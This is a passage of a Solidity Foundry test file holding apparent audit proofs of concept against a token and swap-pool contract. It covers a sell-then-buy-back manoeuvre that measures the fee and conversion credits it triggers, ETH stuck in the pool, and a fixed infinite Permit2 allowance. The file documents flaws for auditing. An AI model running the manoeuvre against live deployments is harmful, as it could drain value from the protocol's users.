        address buyer = address(0xB0B);
        usd.mint(buyer, 5_000e6);
        vm.startPrank(buyer);
        usd.approve(address(router), type(uint).max);
        router.swap(key, _paramsFor(true, true, 5_000e6));
        vm.stopPrank();
        console2.log('H: queue converted (coins):', (queue0 - isp.internalSwapPool(address(coin))) / 1e18);
        console2.log('H: conversion proceeds credited (1e6):', _totalCredits() - credits);
        vm.revertToState(snapshot);

        // (A) Holder simply sells everything.
        snapshot = vm.snapshotState();
        _trade(false, true, coins0);
        console2.log('A: USDC from selling everything, no manoeuvre (1e6):', usd.balanceOf(address(this)) - usd0);
        vm.revertToState(snapshot);

        // (B) Manoeuvre: sell 20%, buy back with exactly the proceeds.
        credits = _totalCredits();
        _trade(false, true, coins0 * 20 / 100);
        uint sellFeeCredits = _totalCredits() - credits;
        uint proceeds = usd.balanceOf(address(this)) - usd0;
        credits = _totalCredits();
        _trade(true, true, proceeds);
        uint conversionCredits = _totalCredits() - credits;
        uint coins1 = coin.balanceOf(address(this));
        console2.log('B: USDC change (1e6):', int(usd.balanceOf(address(this))) - int(usd0));
        console2.log('B: coin change (coins):', (int(coins1) - int(coins0)) / 1e18);
        console2.log('B: queue before buy-back minus queue after (coins, signed):', (int(queue0) - int(isp.internalSwapPool(address(coin)))) / 1e18);
        console2.log('B: credits from the sell fee (1e6):', sellFeeCredits);
        console2.log('B: credits from converting the queue (1e6):', conversionCredits);

        // (B then exit) What the holder realises by now selling everything.
        _trade(false, true, coins1);
        console2.log('B: USDC from selling everything after the manoeuvre (1e6):', usd.balanceOf(address(this)) - usd0);
    }

    // ---------------------------------------------------------------------------------------------------
    // PoC 13: ETH sent to the swap pool has no way out
    // ---------------------------------------------------------------------------------------------------

    function testPoC13_ethSentToTheSwapPoolStaysThere() public {
        _prepare(true);
        (bool ok,) = payable(address(isp)).call{value: 1 ether}('');
        assertTrue(ok, 'receive() accepts ETH from anyone');
        assertEq(address(isp).balance, 1 ether);

        // Trading in both directions, including a conversion, does not move it.
        _trade(true, true, 100e6);
        _trade(true, true, 100e6);
        _trade(false, true, 1_000e18);
        assertEq(address(isp).balance, 1 ether, 'no code path sends the ETH on');
    }

    // ---------------------------------------------------------------------------------------------------
    // PoC 15: every holder gives Permit2 an infinite allowance that cannot be reduced
    // ---------------------------------------------------------------------------------------------------

    function testPoC15_permit2AllowanceIsInfiniteAndFixed() public {
        _prepare(true);
        address permit2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3;
        address anyone = address(0xCAFE);
        assertEq(coin.allowance(anyone, permit2), type(uint).max, 'infinite without any approval');

        vm.prank(anyone);
        vm.expectRevert(bytes4(keccak256('Permit2AllowanceIsFixedAtInfinity()')));
        coin.approve(permit2, 0);

        // Control: any other spender starts at zero.
        assertEq(coin.allowance(anyone, address(router)), 0);
    }
}
```
